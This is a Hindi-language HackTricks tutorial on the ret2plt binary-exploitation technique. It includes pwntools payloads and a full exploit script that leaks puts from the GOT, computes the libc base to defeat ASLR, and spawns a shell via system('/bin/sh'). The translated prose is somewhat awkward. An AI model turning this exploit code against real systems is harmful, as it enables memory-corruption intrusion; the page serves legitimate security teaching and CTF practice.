Ret2plt

AWS हैकिंग सीखें और अभ्यास करें: HackTricks प्रशिक्षण AWS रेड टीम विशेषज्ञ (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks प्रशिक्षण GCP रेड टीम विशेषज्ञ (GRTE)

हैकट्रिक्स का समर्थन करें

मौलिक जानकारी

इस तकनीक का लक्ष्य होगा कि PLT से किसी फ़ंक्शन का पता लगाएं ताकि ASLR को उम्मीद से भी आगे बढ़ा सकें। यह इसलिए है क्योंकि यदि आप, उदाहरण के लिए, puts फ़ंक्शन का पता लीक करते हैं libc से, तो फिर आप libc का बेस कहाँ है उसे गणना कर सकते हैं और अन्य फ़ंक्शनों तक पहुँचने के लिए ऑफ़सेट की गणना कर सकते हैं जैसे कि system

यह pwntools पेलोड के साथ किया जा सकता है जैसे (यहाँ से):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

नोट करें कि puts (PLT से पते का उपयोग करके) puts का पता गोट (ग्लोबल ऑफसेट टेबल) में स्थित puts के पते के साथ किया जाता है। यह इसलिए है क्योंकि puts जब puts का GOT एंट्री प्रिंट करता है, तो यह एंट्री मेमोरी में puts का सटीक पता रखेगी।

इसके अलावा, ध्यान दें कि एक्सप्लॉइट में main का पता उपयोग किया जाता है ताकि puts अपने निष्पादन को समाप्त करने पर बाइनरी main को फिर से बुलाए (ताकि लीक हुआ पता वैध रहे)।

ध्यान दें कि इसे काम करने के लिए बाइनरी को PIE के साथ कंपाइल नहीं किया जा सकता या आपको PIE को बाइपास करने के लिए लीक पाना होगा ताकि PLT, GOT और main का पता पता चले। अन्यथा, आपको पहले PIE को बाइपास करना होगा।

आप यहाँ इस बाइपास का पूर्ण उदाहरण देख सकते हैं। यह उस उदाहरण का अंतिम एक्सप्लॉइट था।

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

अन्य उदाहरण और संदर्भ

  • 64 बिट, ASLR सक्षम है लेकिन PIE नहीं है, पहला कदम है कि एक ओवरफ्लो को भरना है जब तक कैनेरी का बाइट 0x00 तक न पहुंच जाए और फिर puts को कॉल करें और इसे लीक करें। कैनेरी के साथ एक ROP गैजेट बनाया जाता है जिससे puts को कॉल करने के लिए GOT से puts का पता लीक होता है और फिर system('/bin/sh') को कॉल करने के लिए एक ROP गैजेट।

  • 64 बिट, ASLR सक्षम है, कोई कैनेरी नहीं है, मुख्य स्टैक ओवरफ्लो में एक चाइल्ड फ़ंक्शन से। puts को कॉल करने के लिए ROP गैजेट ताकि GOT से puts का पता लीक हो और फिर एक वन गैजेट को कॉल करें।

Last updated